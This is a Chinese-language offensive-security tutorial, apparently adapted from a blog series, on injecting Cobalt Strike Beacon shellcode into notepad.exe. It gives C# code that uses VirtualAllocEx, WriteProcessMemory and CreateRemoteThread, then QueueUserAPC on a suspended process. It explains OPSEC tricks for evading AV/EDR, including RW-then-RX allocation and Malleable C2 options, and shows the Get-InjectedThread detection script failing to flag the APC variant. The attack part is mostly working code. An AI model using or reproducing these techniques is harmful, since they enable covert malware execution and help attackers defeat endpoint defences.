这篇文章将分析最经典的注入方法:
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
内存分配
VirtualAllocEx将在目标进程中分配一个新的内存区域。
// Spawn the target process
var target = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = @"C:\Windows\System32\notepad.exe",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
}
};
target.Start();
// Read in the shellcode
var shellcode = File.ReadAllBytes(@"C:\Payloads\beacon.bin");
// Allocate a region of memory
var hMemory = Kernel32.VirtualAllocEx(
target.Handle,
IntPtr.Zero,
shellcode.Length,
Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE | Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT,
Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READWRITE);
Console.WriteLine("Memory: 0x{0:X}", hMemory);
这将创建一个具有 RWX(读、写、执行)权限可以放下shellcode的区域,API 返回内存区域的地址。
WriteProcessMemory将指定的缓冲区写入内存区域。写入刚刚创建的区域。该 API 返回一个布尔值,表示写入是否成功。
var success = Kernel32.WriteProcessMemory(
target.Handle,
hMemory,
shellcode,
shellcode.Length,
out _);
一旦 shellcode 被写入,就可以在目标进程的内存中看到。
CreateRemoteThread在目标进程中创建一个将执行 shellcode 的新线程。线程的起始地址将指向保存 shellcode 的内存区域。该 API 返回一个已创建线程的句柄。
var hThread = Kernel32.CreateRemoteThread(
target.Handle,
null,
0,
hMemory,
IntPtr.Zero,
Kernel32.CREATE_THREAD_FLAGS.RUN_IMMEDIATELY,
out _);
这将返回一个在目标进程中运行的 Beacon,例如我们注入到notepad.exe中。
OPSEC
RWX
第一个方面是 RWX 的初始内存分配,这对于AV和EDR来说可能是一个危险信号。那么我们可以最初将其分配为RW,写入shellcode然后在调用 CreateRemoteThread 之前使用VirtualProtectEx使其成为 RX。
这样对于CobaltStrike是可以做的,但是对于Metasploit 等框架的“编码”shellcode(例如 shikata_ga_nai)。这是因为这些 shellcode 包含一个存根,它在内存中自我解码,并且这个编码过程需要写入和执行权限,所以必须需要RWX。
Cobalt Strike 反射加载器还有一些可以在Malleable C2 配置文件中指定的附加选项,例如userwx和cleanup。当设置为 false 时,userwx 将告诉加载器不要为自己分配新的 RWX 内存(它将选择 RX);当 cleanup 设置为 true 时,加载器将释放用于加载自身的已分配内存。
如果我们进一步检查目标进程中的内存区域,可以看到每个RX 区域都由磁盘上的一个模块支持,但是明显包含 shellcode 的区域并没有任何的。如果使用了 RWX,那么它很可能是整个内存中唯一的RWX。这样特别明显。
“正常”行为是进程从磁盘(可能是从 System32 中)加载 DLL,而这种反射 DLL 注入方式不会加载到磁盘上的 DLL。
检查进程中正在运行的线程还会发现有一个正在运行的线程不指向带有模块的导出函数,同样也是很明显的特征。
我们可以直接使用公开的脚本就可以直接检测在目标进程中的shellcode
https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2
PS C:\Users\Rasta> Get-InjectedThread
Name Value
---- -----
KernelPath C:\Windows\System32\notepad.exe
PathMismatch False
AuthenticationPackage
AllocatedMemoryProtection PAGE_READWRITE
UserName \
BaseAddress 2120897789952
IsUniqueThreadToken False
CommandLine "C:\Windows\System32\notepad.exe"
Size 4096
ThreadId 4524
Integrity MEDIUM_MANDATORY_LEVEL
SecurityIdentifier S-1-5-21-3309307143-4008523374-2967785533-1001
MemoryProtection PAGE_READWRITE
LogonType
ProcessName notepad.exe
ProcessId 9256
MemoryState MEM_COMMIT
LogonId
LogonSessionStartTime
Path C:\Windows\System32\notepad.exe
BasePriority 8
MemoryType MEM_MAPPED
Privilege SeChangeNotifyPrivilege
在 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 注入模式这种,两个主要 OPSEC 问题是 RX 内存区域和没有磁盘模块支持的执行线程。
那么我们可以尝试使用将 CreateRemoteThread 的使用替换为QueueUserAPC 来解决“线程”问题,也就是使用APC注入。
调用 CreateProcess API在挂起状态下打开我们的目标进程。
var success = Kernel32.CreateProcess(
C:\Windows\System32\notepad.exe",
null,
null,
null,
false,
Kernel32.CREATE_PROCESS.CREATE_SUSPENDED,
null,
C:\Windows\System32",
Kernel32.STARTUPINFO.Default,
out var processInformation);
if (success)
{
Console.WriteLine($"PID: {processInformation.dwProcessId}");
Console.WriteLine($"TID {processInformation.dwThreadId}");
}
跟进一下在内存中的情况,使用进程监控工具,例如任务管理器、进程黑客或进程资源管理器,都会显示进程的状态。
下一步是分配一个新的内存区域并将 shellcode 写入其中 - 这可以像之前使用 VirtualAllocEx 和 WriteProcessMemory 一样完成(eg:创建区域为 RW 然后将其更改为 RX 的步骤)。
var shellcode = File.ReadAllBytes(@"C:\Payload\beacon.bin");
// Allocate as RW
var hMemory = Kernel32.VirtualAllocEx(
processInformation.hProcess,
IntPtr.Zero,
shellcode.Length,
Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT | Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE,
Kernel32.MEM_PROTECTION.PAGE_READWRITE);
// Write the shellcode
success = Kernel32.WriteProcessMemory(
processInformation.hProcess,
hMemory,
shellcode,
shellcode.Length,
out _);
// Change to RX
success = Kernel32.VirtualProtectEx(
processInformation.hProcess,
hMemory,
shellcode.Length,
Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READ,
out _);
对 QueueUserAPC 的调用非常简单——我们提供了 shellcode 在内存中的位置,以及我们想要排队的线程的句柄。
var result = Kernel32.QueueUserAPC(
hMemory,
processInformation.hThread,
IntPtr.Zero);
完成后,只需恢复线程。
result = Kernel32.ResumeThread(processInformation.hThread);
然后回到Cobaltstrike中
在Process Hacker中可以看到:
可以看到 Beacon 的执行线程返回到宿主进程的主模块。与以前不同的是,我们没有额外的线程不会返回到模块,并且Get-InjectedThread检测不到。
PS C:\Tools> ipmo .\Get-InjectedThread.ps1
PS C:\Tools> Get-InjectedThreadPS
C:\Tools>
https://rastamouse.me/exploring-process-injection-opsec-part-2/
https://rastamouse.me/exploring-process-injection-opsec-part-1/